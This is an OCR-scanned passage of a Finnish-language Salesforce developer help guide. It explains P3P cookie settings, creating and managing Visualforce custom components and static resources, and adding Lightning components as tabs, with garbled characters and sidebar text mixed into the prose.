evasteet toimialueesta mypages.nal.visual.force.com. Jos
selaimesi on Internet Explorer, voit myds lisata
mypages.nal.visual.force.com -toimialueen luotettavien

sivustojen luetteloon suojausasetuksien sivulta.

Salesforce sisaltda Platform for Privacy Preferences Project (P3P) -yldtunnisteen joillakin sivuilla.
Tama yldtunniste koostuu seuraavista asetuksista:

Kayttotarkoitus
CUR - Tietoa kaytetddn sen toiminnon suorittamiseen, johon se tarkoitettiin.

Luokka
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STA - Mekanismi tilallisen istunnon ylldpitdmiseen kayttajan kanssa tai sellaisten kayttdjien automaattiseen tunnistamiseen, jotka
ovat vierailleet tietylla sivustolla tai kdyttdneet tiettyd sisaltdd aikaisemmin, esimerkiksi HTTP-evasteita.

Vastaanottaja

OTR - Lailliset yksikdt, jotka seuraavat erilaisia kdytantoja Kayttdjat voivat valita kieltdytyvatko tdsta kdytosta vai eivat.

Jos selaimesi on mddritetty tukemaan P3P-toimintoa, tdmé ylatunniste sallii kaikkien Visualforce-sivujen ndkyvan. Lisdtietoa P3P:sta on

kohdassa Platform for Privacy Preferences (P3P) Project.

Jos selaimesi on mdaritetty estamdan kolmannen osapuolen evasteet eika se kdytd P3P-ylatunnistetta ja naet ylla esitetyn kaltaisen

virheen, tee yksi seuraavista:
o Madrittele P3P selaimellesi
e Muuta selaimesi asetukset sallimaan kolmannen osapuolen evdsteet

e Lisdd asianmukainen palvelin selaimesi evasteiden poikkeusluetteloon

Visualforce-komponentit

Visualforce-komponentit ovat pienid, uudelleenkdytettavid, toiminnallisia osia —vahan kuin widgetit,
paneelit, kayttoliittymaelementit tms. — joita kdytat Visualforce-sivusi koodisi. Voit kayttaa
vakiomuotoisia Visualforce-komponentteja ja luoda omia mukautettuja komponentteja.

Salesforcessa on kirjasto ennalta muodostettuja vakiokomponentteja, kuten
<apex:relatedList> ja <apex:dataTable>,joitavoidaan kdyttad Visualforce-sivujen
kehittdmiseen. Lisaksi voit muodostaa omia mukautettuja komponentteja ja tdydentaa tata kirjastoa

Mukautettu komponentti sisdltaa yleisen suunnittelumallin, jota voi kdyttdd uudelleen useilla
Visualforce-sivuilla. Se sisdltad

e joukon Visualforce-merkintdja, jotka on merkitty <apex : component>-tunnisteella

e valinnaisen Apexissa kirjoitetun komponenttien ohjaustoiminnon, jolla komponentti voi suorittaa
lisdlogiikkaa, kuten luettelossa olevien kohteiden lajittelua tai arvojen laskemista.

Oletetaan esimerkiksi, ettd haluat luoda kuva-albumin Visualforce-sivuilla. Kullakin albumissa olevalla
kuvalla on oma reunavarinsg, ja kunkin kuvan alla on kuvateksti. Albumin kuvien nayttamiseen
tarvittavan Visualforce-merkinndn toistamisen sijaan voit maarittda mukautetun komponentin
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singlePhoto, jolla on kuvan, reunavarin ja kuvatekstin maaritteet, ja kdyttda sitten kyseisia madritteita kuvan ndyttamiseen sivulla.
Kun mukautettu singlePhoto-komponentti on maaritetty, sita voidaan kdyttad organisaation jokaisella Visualforce-sivulla samalla

tavalla kuin vakiokomponentteja, kuten <apex:dataTable> tai <apex:relatedList>.

Verrattuna sivumalleihin, joiden avulla kehittdjat voivat myds kayttda merkintéja uudelleen, mukautetut komponentit ovat tehokkaampia
ja joustavampia.

Mukautetuilla komponenteilla suunnittelijat voivat maarittdd maaritteitd, joita voidaan siirtda kuhunkin komponenttiin. Maaritteen
arvo voi muuttaa merkinnan nayttamistapaa lopullisella sivulla ja se voi muuttaa ohjaustoimintoon perustuvaa logiikkaa, joka
suoritetaan komponentin kyseiselle esiintymalle. Tdma toiminta on erilaista kuin malleissa, joilla ei ole mitadn keinoa siirtaa tietoja

mallia kdyttavalta sivulta itse mallin maaritykseen.

Mukautetut komponenttikuvaukset ndkyvat sovelluksen komponenttiviittausikkunassa vakiokomponenttien kuvausten vieressa.
Mallikuvauksiin voi kuitenkin viitata vain Salesforcen Madritykset-alueelta, koska ne on maaritelty sivuiksi.

KATSO MYOS:

Mukautettujen Visualforce-komponenttien madrittdminen

Mukautettujen Visualforce-komponenttien tarkasteleminen ja muokkaaminen

Mukautettujen Visualforce-komponenttien madrittéminen

Mukautetun Visualforce-komponentin luominen:

1.

Kirjoita Salesforcen Madritykset-valikon Pikahaku-kenttddn
Visualforce-komponentit javalitse Visualforce-komponentit.

Valitse Uusi.

Kirjoita Ot sikko-tekstiruutuun teksti, jota tulee kdyttda mukautetun komponentin
madrittamiseen maaritystyokaluissa.

Kirjoita Nimi-tekstiruutuun teksti, jota tulee kdyttda tdaman mukautetun komponentin
madrittamiseen Visualforce-merkinndissa. Tama nimi voi sisaltda vain alaviivoja ja
aakkosnumeerisia merkkejd, ja sen on oltava yksil6llinen organisaatiossa. Sen taytyy alkaa
kirjaimella, se ei saa sisaltdd valeja eikd se saa loppua alaviivaan eikd sisaltda kahta perakkdista
alaviivaa.

Kirjoita Kuvaus-tekstiruutuun kuvaus mukautetusta komponentista. Tama kuvaus nakyy
komponenttiviittauksessa muiden vakiokomponenttien kuvausten kanssa heti, kun valitset
Tallenna.

Kirjoita Tekst iosa-tekstiruutuun mukautetun komponentin mddrityksen Visualforce-merkinta.

Yhdessd komponentissa voi olla enintdadn 1 Mt tekstid, eli noin 1 000 000 merkkia.

Napsauta Version aseutukset madrittadksesi talle komponentille kdytettdvdn Visualforce- ja
APl-version. Voit maarittad versiot kaikille organisaatiosi asennetuille hallittaville paketeille.

Voit tallentaa muutokset ja tarkastella mukautetun komponentin lisdtietondyttdd valitsemalla

EDITION-VERSIOT

Kaytettavissa Salesforce
Classicissa ja Lightning
Experiencessa

Kdaytettavissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

KAYTTJAOIKEUDET

Mukautettujen

komponenttien luominen:

e Sovelluksen
mukautusoikeus

Tallenna tai tallentaa muutokset ja jatkaa komponentin muokkaamista valitsemalla Pikatallennus. Visualforce-merkinndn on oltava

kelvollinen, ennen kuin komponentin voi tallentaa.
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@ Nofte: Voit my6s luoda mukautetun komponentin Visualforce-kehitystilassa lisddmalla viittauksen mukautettuun komponenttiin,
jota eiole vield Visualforce-sivumerkinnassa. Kun olet tallentanut merkinnan, ndkyviin tulee pikalinkki, jonka avulla voit luoda uuden
komponenttimaarityksen (eritellyt maaritteet mukaan lukien) komponentille antamasi nimen perusteella.

Jos et ole esimerkiksi vield maarittanyt mukautettua komponenttia nimeltd myNewComponent ja lisadt koodin
<c:myNewComponent myNewAttribute="foo" /> aiemminluotuunsivumerkintddn, voit maarittad Tallenna-painikkeen
napsauttamisen jalkeen uuden mukautetun myNewComponent-komponentin pikaisesti seuraavalla oletusmadrityksella:

<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<hl>Congratulations</hl>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>

Voit muokata tatd mdaritelmaa kirjoittamalla Madritykset-valikon Pikahaku-kenttddn Visualforce-komponentit,
valitsemalla Visualforce-komponentit ja napsauttamalla mukautetun myNewComponent-komponentin vierestd Muokkaa.

KATSO MYOS:
Visualforce-komponentit

Visualforce-komponentit

Mukautettujen Visualforce-komponenttien tarkasteleminen ja muokkaaminen

Kirjoita Mééritykset—valikon Pikahaku-kenttdan Visual force-komponentit, valitse EDITION-VERSIOT
Visualforce-komponentit ja napsauta mukautetun komponentin nimed nahdaksesi sen

madritelman. Kayteftavissa Salesforce
Lisatietosivulla voit tehdd mita tahansa seuraavista: Classicissa ja Lightning

) ) . Experiencessa
e Valitse Muokkaa, jos haluat muokata mukautettua komponenttia. P

e Poista mukautettu komponentti valitsemalla Poista. Kdyteftavissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,

e Luo kopio mukautetusta komponentista valitsemalla Kloonaa. Sinun on médritettava uusi nimi
uudelle komponentille.

e Jos haluat tarkastella luetteloa kaikista viittauksista téhan mukautettuun komponenttiin Performance Edition-,
organisaatiossasi, valitse Missa tata kdytetaan?. Unlimited Edition- ja
e Napsauta Nayta riippuvuudet tarkastellaksesi kohteita, kuten toista komponenttia, Developer Edition
kayttdoikeutta tai asetuksia, joiden on oltava olemassa, jotta tima mukautettu komponentti on -Versioissa
kelvollinen.

KAYTTJAOIKEUDET

Mukautettujen
komponenttien
kloonaaminen,
muokkaaminen,
poistaminen tai versioiden
madrittdminen mukautetuille
komponenteille:
e Sovelluksen
mukautusoikeus
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Kun komponentti on luotu, voit tarkastella sitd osoitteessa

Apex-, Visualforce- ja Lightning-komponentit

http://omaSalesforceInstanssi/apexcomponent/uudenKomponentinNimi,jossa
omaSalesforceInstanssi on Salesforce-instanssisiisantanimi (esimerkiksi na3.salesforce.com)ja

uudenKomponentinNimi on mukautetun komponentin maarityksen Nimi-kentdn arvo.

Komponentti ndytetdan siind muodossa kuin se olisi Visualforce-sivulla. Nain ollen, jos komponentti perustuu madritteisiin tai komponentin
tunnisteen rungon sisaltoon, tdamd URL saattaa muodostaa odottamattomia tuloksia. Voit testata mukautettua komponenttia tarkemmin

lisédmalla sen Visualforce-sivulle ja tarkastelemalla sitten sivua.

KATSO MYOS:

Visualforce-komponentit

Mukautettujen Visualforce-komponenttien hallinta

Kun olet luonut mukautettuja komponentteja, voit tarkastella, muokata ja poistaa niitd. Kirjoita
Madritykset-valikon Pikahaku-kenttddn Visualforce-komponentit javalitse
Visualforce-komponentit avataksesi Komponentit-luettelosivun, jossa on luettelo organisaatiollesi
madritetyista mukautetuista komponenteista. Tdlla sivulla voit tehda seuraavat toimet:

e Napsauta Uusi, jos haluat madrittad uuden mukautetun komponentin.
e Napsauta mukautetun komponentin nimed, jos haluat nayttda lisdtietoja komponentista.

e Napsauta Muokkaa, jos haluat muokata komponentin nimed tai merkintaa.

@ Note: Kuvake -+, osoittaa, ettd mukautettu Visualforce-komponentti on asennetussa
hallittavassa paketissa. Et voi muokata tai poistaa hallittavan paketin mukautettua
Visualforce-komponenttia. & -kuvake osoittaa, ettd ailemmin julkaistussa, hallittavassa
paketissa oleva mukautettu Visualforce -komponentti poistetaan seuraava pakettia
ladattaessa. Voit kumota mukautetun Visualforce-komponentin poistamisen paketin
lisatietosivulta.

e Valitse Poista, jos haluat poistaa mukautetun komponentin organisaatiosta.

@ Note: Nimitilan etuliite on liitetty Apex-luokkiin ja -kdynnistimiin, Visualforce-komponentteihin
ja -sivuihin, tuotemerkkimalleihin, kansioihin, s-control-objekteihin, staattisiin resursseihin,

verkkolinkkeihin ja mukautettuihin raporttityyppeihin, mikali ne sisaltyvat hallittavaan pakettiin.

Jos sinulla ei ole sovellusten mukautusoikeutta, nimitilan etuliitekenttda ei ndy
tuotemerkkimalleissa, kansioissa eikd mukautetuissa raporttityypeissa.
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Staattiset resurssit

Staattisten resursslen'avulla VOIF Ia('jaFa pélvellmglle swgltoa,phoh voit V||t§ta '\/|.sua|fgrc§—5|vullaf EDITION-VERSIOT
mukaan lukien arkistoja (kuten zip- ja jar-tiedostoja), kuvia, tyylisivuja, JavaScriptia ja muita tiedostoja.
Staattista resurssia kannattaa kdyttda tiedoston Asiakirjat-valilehteen lataamisen sijasta monista Kéytettdvissd Salesforce
syista: Classicissa ja Lightning
. L . o L ! ) ) Experiencessa

e Voit pakata kokoelman liittyvid tiedostoja hakemistohierarkiaan ja ladata kyseisen hierarkian P

Zip- tai jar-arkistona. Kaytettdvissé: Contact
e Voit viitata sivumerkinndissd olevaan staattiseen resurssiin nimella kayttamalla globaalia Mo.:tr.mger Ediﬁor.\-, Group

$Resource-muuttujaa kiintedsti koodattujen asiakirjatunnusten sijaan: Edition-, Professional

Edition-, Enterprise Edition-,

- Voit viitata erilliseen tiedostoon kayttamalld yhdistamiskenttand maaritysta Performance Edition-

S$Resource.<resurssin _nimi>, j0Ssa <resurssin nimi> Onresurssin Unlimited Edition- ja
latauksen yhteydessa maarittamasi nimi. Esimerkki: Developer Edition
-versioissa

<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>
tai
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

- Jos haluat luoda viittauksen arkistossa olevaan tiedostoon, kdytd URLFOR-funktiota. Mdaritd ensimmaiselld parametrilla arkiston
lataamisen yhteydessd antamasi staattisen resurssin nimi ja toisella parametrilla polku haluamaasi tiedostoon arkistossa. Esimerkki:

<apex:image url="{!URLFOR ($SResource.TestZip,
'images/Bluehills.jpg') }" width="50" height="50"/>

tai
<apex:includeScript value="{!URLFOR (SResource.LibraryJS, '/base/subdir/file.js')}"/>
e \Voit kdyttaa suhteellisia polkuja tiedostoissa staattisten resurssien arkistossa viittamaan arkiston sisaltoon. Esimerkiksi CSS-tiedostossasi
styles.css sinulla on seuraavat tyylit:
table { background-image: url ('img/testimage.gif') }

Kun kdytat kyseistd CSS-tiedostoa Visualforce-sivulla, sinun tdytyy varmistaa, ettd CSS-tiedosto ei voi I6ytaa kuvaa. Voit tehdd témaén
luomalla arkiston (kuten -zip-tiedosto), joka sisdltdd styles.css ja img/testimage.qgif. Varmista, ettd polun rakenne
sdilytetdan arkistossa. Lataa sitten arkistotiedosto staattisena resurssina nimelld “style_resources”. Lisaa sitten sivullasi seuraava
komponentti:

<apex:stylesheet value:"{!URLFOR($Resource.style_resources, 'styles.css') }"/>

Koska staattinen resurssi sisdltaa seka tyylisivun ettd kuvan, suhteellinen polku tyylisivussa selvida ja kuva ndytetadn.

Yksittdisen staattisen resurssin koko voi olla enintddn 5 Mt. Organisaatiolla voi olla yhteensd enintadn 250 Mt staattisia resursseja. Staattiset
resurssit koskevat organisaation tietojen tallennustilan kiintiéta.

KATSO MYOS:

Staattisten resurssien madrittdminen
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Staattisten resurssien madrittminen
Staattisen resurssin luominen:

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Staattiset resurssit javalitse
Staattiset resurssit.

2. Napsauta Uusi.

3. Kirjoita Nimi-tekstiruutuun teksti, jota tulee kayttad resurssin maarittamiseen
Visualforce-merkinnoissa. Tama nimi voi sisaltdd vain alaviivoja ja aakkosnumeerisia merkkejd,
ja sen on oltava yksilollinen organisaatiossa. Sen taytyy alkaa kirjaimella, se ei saa siséltad valeja
eikd se saa loppua alaviivaan eikd sisaltda kahta perdkkaista alaviivaa.

@ Note: Jos luot viittauksen staattiseen resurssiin Visualforce-merkinndissa ja vaihdat sitten
resurssin nimen, Visualforce-merkinta paivitetddn muutoksen mukaisesti.

4. Madritd sitten Kuvaus-tekstialueelle resurssin valinnainen kuvaus.

5. Valitse Tiedosto-tekstiruudun vieresta Selaa ja siirry ladattavan resurssin paikalliseen kopioon.
Yksittdinen staattinen resurssi voi olla kooltaan enintadn 5 Mt, ja organisaatiolla olla yhteensa
enintddn 250 Mt staattisia resursseja.

6. Mddritd Valimuistin hallinta:

® Yksityinen madrittds, ettd Salesforce-palvelimen valimuistiin tallennettuja staattisia
resurssitietoja ei tulisi jakaa muiden kdyttdjien kanssa. Staattiset resurssit tallennetaan vain
nykyisen kdyttajan istunnon valimuistiin.

EDITION-VERSIOT

Kaytettavissa Salesforce
Classicissa ja Lightning
Experiencessa

Kdaytettavissd: Contact
Manager Edition-, Group
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Performance Edition-,
Unlimited Edition- ja
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-versioissa

KAYTTJAOIKEUDET

Staattisen resurssien

luominen:

e Sovelluksen
mukautusoikeus

@ Note: Staattisten resurssien valimuistiasetukset on asetettu yksityisiksi, kun niitd kdytetadn Force.com-sivustosta, jonka
vieraskayttdjien profiileilla on sallittuun IP-alueeseen tai kirjautumisaikoihin perustuvia rajoituksia. Sivustot, joiden
vieraskayttdjien profiileilla on rajoituksia, tallentavat staattisia resursseja valimuistiin ainoastaan selaimesta. Lisaksi, jos
aiemmin rajoittamaton sivusto muutetaan rajoitetuksi, staattisten resurssien vanhentuminen Salesforce-valimuistista ja

muista valimuisteista saattaa kestda jopa 45 pdivaa.

* Julkinen madrittdd, ettd Salesforce-palvelimen vdlimuistiin tallennetut staattiset resurssitiedot jaetaan muiden organisaatiosi

kayttajien kanssa latausaikojen nopeuttamiseksi.

Otsikkokentdn maaritelmien W3C-madritykset sisaltad teknisid tietoja valimuistin hallinnasta.

@ Notfe: Tdma ominaisuus toimii vain organisaatioilla, joilla on kdytdssa Sivustotja jotka kdyttdvat staattisia resursseja.

7. Valitse Tallenna.

Q Varoitus: Jos kdytat WinZip-ohjelmaa, asenna sen uusin versio. Vanhemmat WinZip-versiot saattavat aiheuttaa tietojen havidmista.

KATSO MYOS:
Staattisten resurssien tarkasteleminen ja muokkaaminen

Staattiset resurssit
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Staattisten resurssien tarkasteleminen ja muokkaaminen

Kirjoita Madritykset-valikon Pikahaku-kenttddn Staattiset resurssit,valitse Staattiset
resurssit ja napsauta resurssin nimed tarkastellaksesi sen lisdtietoja, mukaan lukien sen MIME-tyyppi,
koko tavuina, luontiajankohta ja edellinen muokkausajankohta.

Lisatietosivulla voit tehdd mitd tahansa seuraavista:

e Muokkaa resurssia valitsemalla Muokkaa.

e Poista resurssi valitsemalla Poista.

e Luo kopio resurssista valitsemalla Kloonaa. Sinun on maaritettdva uusi nimi uudelle resurssille.

e Jos haluat tarkastella luetteloa kaikista viittauksista tahan staattiseen resurssiin organisaatiossa,
valitse Missa tata kaytetaan?.

KATSO MYOS:
Staattisten resurssien madrittaminen
Staattisten resurssien hallinta

Staattiset resurssit

Staattisten resurssien hallinta

Kun olet luonut staattisia resursseja, voit mukauttaa, muokata ja poistaa niita. Kirjoita
Madritykset-valikon Pikahaku-kenttddn Staattiset resurssit javalitse Staattiset
resurssit avataksesi Staattiset resurssit -luettelosivun, jossa on luettelo organisaatiollesi maaritetyista
resursseista. Talld sivulla voit tehdd seuraavat toimet:

e Napsauta Uusi staattinen resurssi, jos haluat madrittad uuden staattisen resurssin.

e Napsauta resurssin nimed, jos haluat tuoda yksityiskohtaisia sivua koskevia tietoja ndkyviin,
mukaan lukien sen MIME-tyyppi ja koko.

e \Valitse resurssin vierestd Muokkaa, jos haluat muokata resurssin nimed tai ladata uuden version
resurssista.

e \Valitse Poista, jos haluat poistaa resurssin.

@ Note: Nimitilan etuliite on liitetty Apex-luokkiin ja -kdynnistimiin, Visualforce-komponentteihin
ja -sivuihin, tuotemerkkimalleihin, kansioihin, s-control-objekteihin, staattisiin resursseihin,
verkkolinkkeihin ja mukautettuihin raporttityyppeihin, mikali ne sisaltyvat hallittavaan pakettiin.

Jos sinulla ei ole sovellusten mukautusoikeutta, nimitilan etuliitekenttda ei ndy
tuotemerkkimalleissa, kansioissa eikd mukautetuissa raporttityypeissa.

KATSO MYOS:
Staattisten resurssien tarkasteleminen ja muokkaaminen

Staattiset resurssit
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Lightning-komponentit

Lightning-komponenttikehyksen yleiskatsaus

Lightning-komponenttikehys on kayttoliittymdkehys, joka on tarkoitettu dynaamisten
verkkosovellusten luomiseen mobiililaitteille ja poytatietokoneille. Se on moderni kehys, jolla voi
laatia yksisivuisia, mutta laajennettavia sovelluksia.

Kehys tukee ositettua monitasoista komponenttien kehitystd, joka luo sillan asiakassovelluksen ja
palvelimen vélille. Se kdyttaad JavaScript-koodia sovelluksen puolella ja Apex-koodia palvelimen
puolella.

Lightning-komponenttikehyksen kdyttdminen komponenttien ja sovellusten luomiseen tarjoaa
useita etuja.

Kayttovalmis komponenttijoukko
Mukana kayttdvalmis joukko komponentteja, joiden avulla pddset alkuun sovellusten laatimisessa.
Sinun ei tarvitse tuhlata aikaasi optimoidaksesi sovelluksiasi eri laitteille, sillda komponentit
hoitavat sen puolestasi.

Kattava komponenttien ymparisto
Luo liiketoimintavalmiita komponentteja ja salli niiden kaytt6 Salesforce1-sovelluksessa, Lightning
Experiencessa ja yhteisoissa. Salesforce1-kayttajat padsevat komponentteihisi kasiksi
navigointivalikosta. Mukauta Lightning Experiencea tai yhteiséja kayttamalld vedd ja pudota
-komponentteja Lightning-sivulla Lightning-sovellusrakentajassa tai Community Builderissa.
Organisaatiollesi on saatavilla lisskomponentteja AppExchange-palvelusta. Voit my6s julkaista
omia komponenttejasi ja jakaa niitd muiden kayttdjien kanssa.

Suorituskyky
Kayttaa tilallista asiakassovellusarkkitehtuuria ja tilatonta palvelinarkkitehtuuria, joka turvautuu
JavaScript-koodiin asiakassovelluksen puolella hallitakseen kayttdliittymakomponenttien

Apex-, Visualforce- ja Lightning-komponentit

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Luo
Lightning-komponentteja
kayttojcriestelmalla
Enterprise Edition-,
Performance Edition,
Unlimited Edition- ja
Developer Edition
-versioissa tai sandboxissa.

metadataa ja sovelluksen tietoja. Asiakassovellus kutsuu palvelinta vain tarvittaessa, esimerkiksi hankkiakseen lisad metadataa tai
dataa. Palvelin ldhettda vain kayttdjan tarvitsemat tiedot parantaakseen suorituskykyd. Kehys kayttda JSON:ad vaihtaakseen tietoja
palvelimen ja asiakassovelluksen valilld. Se hyddyntdd palvelintasi, selaintasi, laitteitasi ja verkostoasi alykkadsti, jotta sind voit keskittyd

sovellustesi logiikkaan ja vuorovaikutuksiin.

Tapahtumiin perustuva arkkitehtuuri

Kdyttda tapahtumiin perustuvaa arkkitehtuuria purkaakseen komponenttien parituksia paremmin. Mikd tahansa komponentti voi

tilata sovellustapahtuman tai ndkemansa komponenttitapahtuman.

Nopeampi kehitys

Tehostaa tiimeja tydskentelemadn nopeammin kayttévalmiilla komponenteilla, jotka toimivat saumattomasti pdytatietokoneilla ja
mobiililaitteilla. Sovelluksen laatiminen komponenteilla helpottaa rinnakkaista suunnittelua ja parantaa siten kehitystyén

kokonaistehokkuutta.

Komponentit on salattu ja niiden sisdosat pysyvat yksityisind samalla, kun niiden ulkokuori on ndkyvissa komponentin kuluttajille.
Tama vahva erotus antaa komponenttien laatijoille vapauden muuttaa sisdisen kdyttdonoton yksityiskohtia ja eristad komponentin

kuluttajat nailtd muutoksilta.

Laitteen tunnistus ja yhteensopivuus selaimien kanssa

Sovellukset ovat hyvin reagoivia ja tarjoavat nautittavan kayttajakokemuksen. Lightning-komponenttikehys tukee uusimpia

selainteknologioita, kuten HTML5, CSS3 ja kosketustapahtumat.

79



Paranna Salesforcea koodilla

Kayta kehittdjan konsolia Lightning-komponenttien luomiseen.

KATSO MYOS:
Developer Console -konsolin toiminnot
Lightning-komponenttien lisddminen mukautettuina valilehtind Salesforce1-sovellukseen

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/

Virheenkorjaustilan ottaminen kdyttéon Lightning-komponenteille
Ota virheenkorjaustila kayttddn korjataksesi Lightning-komponenttiesi JavaScript-koodia helpommin.

Tiloja on kaksi: tuotantotila ja virheenkorjaustila. Lightning-komponenttikehys toimii oletusarvoisesti
tuotantotilassa. Tama tila on optimoitu suorituskykyd varten. Se kayttaa Google Closure Compiler

-kdantdjaa optimoidakseen ja minimoidakseen JavaScript-koodin kokoa. Metodien nimet ja koodit
ovat vahvasti salattuja.

Kun otat virheenkorjaustilan kdyttddn, kehys ei kaytd Google Closure Compiler -kdantdjad, joten
JavaScript-koodia ei minimoida. Tallgin sitd on helpompi lukea ja korjata.

Virheenkorjaustilan ottaminen kdytté6n organisaatiollesi:

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Lightning-komponentit javalitse
Lightning-komponentit.

2. Valitse Ota virheenkorjaustila kayttéon -valintaruutu.

3. Napsauta Tallenna.

KATSO MYOS:
Lightning-komponenttikehyksen yleiskatsaus

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/
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Lightning-komponenttien lisédminen mukautettuina vdlilehtind Salesforcel-sovellukseen

Salli Salesforce1-kayttajien kdyttda Lightning-komponentteja ndyttamalla ne mukautettuna EDITION-VERSIOT
vdlilehtena.

Sisallyta lisddmasi komponentin aura : component-tunnisteeseen Kéytettdvissd: Salesforce
implements="force:appHostable" jatallenna muutoksesi. Classicissa ja Lightning

Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Luo
Lightning-komponentteja
kayttojcriestelmalla
Enterprise Edition-,
Performance Edition,
Unlimited Edition- ja
Developer Edition
-versioissa tai sandboxissa.

KAYTTJAOIKEUDET

Lightning-komponentit-vélilehtien
luominen:
e Sovelluksen mukautusoikeus

<aura:component implements="force:appHostable">

appHostable-rajapinta sallii komponentin kdyton mukautettuna valilehtena.

Kayta kehittdjan konsoliaLightning-komponenttien luomiseen.

Sisallytd komponenttisi Salesforce1-navigointivalikkoon noudattamalla seuraavia ohjeita.

1. Luokomponentille mukautettu Lightning-komponenttivdlilehti. Kirjoita Maaritykset-valikon Pikahaku-kenttddn vd1ilehdet

ja valitse Valilehdet.

@ Note: Sinun tdytyy luoda mukautettu Lightning-komponenttivalilehti ennen kuin voit lisdtd komponenttisi
Salesforce1-navigointivalikkoon. Lightning-komponenttisi kayttoa Salesforce-sivuston tdydesta versiosta ei tueta.
2. Lisda Lightning-komponenttisi Salesforce1-navigointivalikkoon.
Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Navigointi ja valitse Salesforce1-sovelluksen navigointi.
b. Valitse luomasi mukautettu vélilehti ja napsauta Lisaa.

¢. Lajittele kohteita valitsemalla ne ja napsauttamalla Ylos- tai Alas-painiketta.

Kohteet ndytetddn navigointivalikossa maarittamassasi jarjestyksessa. Valitut-luettelon ensimmaisesta kohteesta tulee
Salesforce1-laskeutumissivusi.
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3. Tarkasta lopputulos Salesforce1-mobiiliselainsovelluksesta. Uuden valikkokohteesi tulisi ndkyd navigointivalikossa.

@ Nofte: Mobiiliselainsovellus on oletusarvoisesti kdytdssa organisaatiossasi. Lisdtietoja Salesforce1-mobiiliselainsovelluksen
kdyttdmisestd on Salesforcel App Developer Guide -oppaassa.

KATSO MYOS:
Lightning-komponenttikehyksen yleiskatsaus

Developer Console -konsolin toiminnot

Lightning-komponenttien lisédminen mukautettuina vdlilehting Lightning Experienceen
SalliLightning Experience -kdyttdjien kayttdd Lightning-komponentteja ndyttamalld ne mukautettuna EDITION-VERSIOT

vdlilehtend.
Lisad Lightning Experienceen sisallytettdvien komponenttien aura : component-tunnisteeseen Kaytettavissa: Salesforce
implements="force:appHostable" jatallenna muutoksesi. Classicissa ja Lightning

Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

Luo
Lightning-komponentteja
kayttojarjestelmalla
Enterprise Edition-,
Performance Edition,
Unlimited Edition- ja
Developer Edition
-versioissa tai sandboxissa.

KAYTTJAOIKEUDET

Lightning-komponentit-vdlilehtien
luominen:
e Sovelluksen mukautusoikeus

<aura:component implements="force:appHostable">

Kayta kehittdjan konsoliaLightning-komponenttien luomiseen.
Noudata naitd ohjeita lisdtaksesi komponenttisi Lightning Experienceen ja salliaksesi organisaatiosi kdyttajien kayttad niita.
1. Luo mukautettu vdlilehti talle komponentille.

a. Kirjoita Mdaritykset-valikon Pikahaku-kenttdan v&lilehdet ja valitse Valilehdet.

b. Napsauta Lightning-komponenttien valilehdet -viiteluettelosta Uusi.
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Valitse Lightning-komponentti, joita haluat kdyttdjien voivan kayttaa.

a 0

Kirjoita vdlilehden otsikko.

o

Valitse vdlilehden tyyli ja napsauta Seuraava.

f.  Kun sinua pyydetdan lisadmaan vélilehti profiileille, hyvaksy oletusasetus ja napsauta Tallenna.

2. Lisad Lightning-komponenttisi sovelluskaynnistimeen.
a. Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Sovellukset javalitse Sovellukset.
b. Valitse Uusi. Valitse Mukautettu sovellus janapsauta Seuraava.
Kirjoita Sovelluksen otsikko -kenttddn Lightning ja napsauta Seuraava.

d. Valitse Kaytettavissad olevat vialilehdet -alasvetovalikostaluomasiLightning-komponentti-valilehtija napsauta
oikeaa nuolta lisataksesi sen mukautettuun sovellukseen.

e. Napsauta Seuraava. Valitse Nakyvissé-valintaruutu kohdistaaksesi sovelluksen profiileille ja valitse Tallenna.

3. Tarkasta lopputulos siirtymalld sovelluksen kdynnistimeenLightning Experiencessa. Sovelluksesi tulisi ndkya sovelluksen kdynnistimessa.
Napsauta mukautettua sovellusta ndhdaksesi lisddmasi komponentit.

KATSO MYOS:

Lightning-komponenttien lisédminen mukautettuina vélilehtina Salesforce1-sovellukseen
Koodin suojaus

Koodisi suojaaminen
Tama osio siséltad tietoja koodisi suojaamiseen.

e Miten Apex-luokan suojaus toimii?
e Visualforce-sivun suojauksen mdarittdminen sivun maarityksesta

e Suojausvihjeitd Apex-ja Visualforce-kehittdmiseen
Apex-suojaus

Miten Apex-luokan suojaus toimii?

Médarita profiilien ja kdyttooikeusjoukkojen avulla kdyttajat, jotka voivat suorittaa metodeja tietyssd EDITION-VERSIOT
ylatason Apex-luokassa. Talld tavalla voit madrittad organisaatiosi Apex-operaatioiden suojauksen

tarkemmin. Kaytettavissa: Salesforce
Namad asetukset koskevat vain Apex-luokkametodeja. Metodi voi olla Web-palvelumetodi tai mika Classicissa ja Lightning
tahansa metodi, jota kdytetdan Visualforce-sivun mukautetussa Visualforce-ohjaimessa tai ohjaimen Experiencessa
laajennuksessa. Kdynnistimet puolestaan kdynnistyvat aina kaynnistintapahtumista (esim. insert Kaytettavisst Performance
tai update) riippumatta kayttajan oikeuksista. Edition-, Unlimited Edition-.
Developer Edition-,

Enterprise Edition- ja
Database.com Edition
-versioissa
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@ Note: Josoletasentanut organisaatioosi hallittavan paketin, voit maarittaa suojausasetukset vain niille paketin Apex-luokille, jotka
